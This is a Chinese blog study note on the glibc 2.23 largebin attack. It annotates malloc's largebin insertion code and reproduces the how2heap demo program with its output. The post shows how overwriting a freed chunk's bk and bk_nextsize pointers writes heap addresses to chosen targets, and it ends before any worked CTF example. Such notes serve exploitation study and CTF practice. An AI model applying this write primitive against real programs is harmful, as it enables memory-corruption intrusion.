largebin attack 学习(例子未完成)

largebin attack

在64位下,申请大于0x400chunk最终会进入largebin。
Large bins 一共包括63 个bin,每个bin 中的chunk 大小不是一个固定公差的等差数列,而是分成6 组bin,每组bin 是一个固定公差的等差数列,每组的bin 数量依次为32、16、8、4、2、1,公差依次为64B、512B、4096B、32768B、262144B 等。

根据ctfwiki和师傅们的总结:

  • 按照大小从大到小排序
  • 若大小相同,按照free时间排序
  • 若干个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
  • size最大的chunk的bk_nextsize指向最小的chunk; size最小的chunk的fd_nextsize指向最大的chunk

代码分析

进入largebin的相关代码如下(_int_malloc)

for (;; )
{
int iters = 0;
// 先判断下是不是unsorted本身,不是就进入while
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
// victim = 将要入largebin的块
bck = victim->bk;
// 检测size
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* remove from unsorted list */
// 这个地方的bck是之前unsortedbin中的第二块,将bin[1]的bk赋值为第二块,开始进行脱链操作
unsorted_chunks (av)->bk = bck;
// 将第二块的fd赋值为bin[1](ub)
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
// 获得对应largebin的index
victim_index = largebin_index (size);
// bck为bin[对应的index],记为bin1
bck = bin_at (av, victim_index);
// fwd = bin1 -> fd ,即整个链条的尾部
fwd = bck->fd;

/* maintain large bins in sorted order */
// largebin里有就进if
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
// 如果该chunk的size小于bin1 -> bk -> size, 即小于最前面的那个,就进if
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
// fwd = bin1
fwd = bck;
// bck = bin1 -> bk (第一个chunk)
bck = bck->bk;
// 调整nextsize: fd_nextsize = bin1 -> fd,即指向最后一个chunk
victim->fd_nextsize = fwd->fd;
// 调整nextsize: bk_nextsize = bin1 -> fd -> bk_nextsize,即指向第一个chunk(该chunk插入后将会成为第一个chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize;
// 调整相邻两块的nextsize,第一块chunk的fd_nextsize将成为victim,最后一块的bk_nextsize将会成为victim(此时nextsize已完成链表的插入操作)
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
// 该chunk大于前面那个chunk的size就进else
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
// 直到该size大于等于链表中的某个size(从尾部开始遍历,即size最大的地方向小的地方遍历)
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}
// 判断是否和size相等,相等的话就链到前面
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
// 不相等
else
{
// 调整nextsize,这个时候是以fwd为索引,因为进入了while循环,不确定fwd是否发生了改变,bck索引不再准确
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
// 调整相邻chunk的nextsize
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
// 对应的情况就是largebin中只有这一个,也就是该chunk是第一个进入largebin的块,那么其两个nextsize位都是其本身
victim->fd_nextsize = victim->bk_nextsize = victim;
}

// 最后都进行链表的插入
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}

图示

网络上有一张比较经典的largebin的图示,我再稍微补充一下index64的fd和bk,大概长这样

s

how2heap

用libc-2.23.so

#include<stdio.h>
#include<stdlib.h>

int main()
{
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.\n");
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

输出:

This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.
This file demonstrates large bin attack by writing a large unsigned long value into stack
In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the targets we want to rewrite on stack:
stack_var1 (0x7ffe4c957580): 0
stack_var2 (0x7ffe4c957588): 0

Now, we allocate the first large chunk on the heap at: 0x55616307d000
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()

Then, we allocate the second large chunk on the heap at: 0x55616307d360
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()

Finally, we allocate the third large chunk on the heap at: 0x55616307d7a0
And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()

We free the first and second large chunks now and they will be inserted in the unsorted bin: [ 0x55616307d360 <--> 0x55616307d000 ]

Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation, and reinsert the remaining of the freed first large chunk into the unsorted bin: [ 0x55616307d0a0 ]

Now, we free the third large chunk and it will be inserted in the unsorted bin: [ 0x55616307d7a0 <--> 0x55616307d0a0 ]

Now emulating a vulnerability that can overwrite the freed second large chunk's "size" as well as its "bk" and "bk_nextsize" pointers
Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2

Let's malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten:
stack_var1 (0x7ffe4c957580): 0x55616307d7a0
stack_var2 (0x7ffe4c957588): 0x55616307d7a0

分析

关键代码如下:

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

我们改掉size使得p2变小,并且改掉bk和bk_nextsize为栈地址

当我们malloc(0x90)的时候,位于ub的p3会执行如下代码

							// ......
else
{
// p3->fd_nextsize = p2
victim->fd_nextsize = fwd;
// p3->bk_nextsize = p2->nextsize = 覆写的栈地址(&stack_var2 - 4)
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
// *(&stack_var2 - 4 + 4) 写入p3
victim->bk_nextsize->fd_nextsize = victim;
}
// bck = (&stack_var1 - 2)
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
// p3->bk = bck = (&stack_var2 - 4)
victim->bk = bck;
// p3->fd = fwd
victim->fd = fwd;
fwd->bk = victim;
// bck->fd = *(&stack_var1 - 2 + 2) = p3
bck->fd = victim;

借用A1ex师傅博客总结如下:

  1. victim(也即unsorted chunk)的size必须大于 largebin chunk,这样才能够绕过else之前的检测;
  2. 控制fwd->bk_nextsizetarget_addr1,那么执行victim->bk_nextsize = fwd->bk_nextsize时,就能控制victim->bk_nextsizetraget_addr1;
  3. 接着就能控制 victim->bk_nextsize->fd_nextsize = victim,也就相当于 target_addr1->fd_nextsize = victim,我们在 *(taget_addr1+0x20)=victim 写入了 unsorted chunk的地址;
  4. 然后,我们修改fwd->bktarget_addr2,就能控制 bck
  5. 最后,通过 bck->fd=victim,就能在 *(target_addr2+0x10)=victim,又写入了 unsortedbin chunk的地址

总结就是,如果能够控制已经在largebin中的chunk的bk、bk_nextsize字段,那么就能实现往任意地址写入待插入largebin的chunk的地址。一般待插入的chunk地址为堆地址,所以通过largebin attack可以实现往任意地址写入堆地址的目的

利用手法

我认为,利用手法很简要,控制largebin中chunk的bk字段为(&target - 2)或者bk_nextsize字段为(&target - 4),那么target里面将会被写入堆地址,注意size不能相同,fd等位置置0避免进入unlink

例题

让我先找找看2333

文章作者: Alex
文章链接: http://example.com/2021/07/25/largebin-attack/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~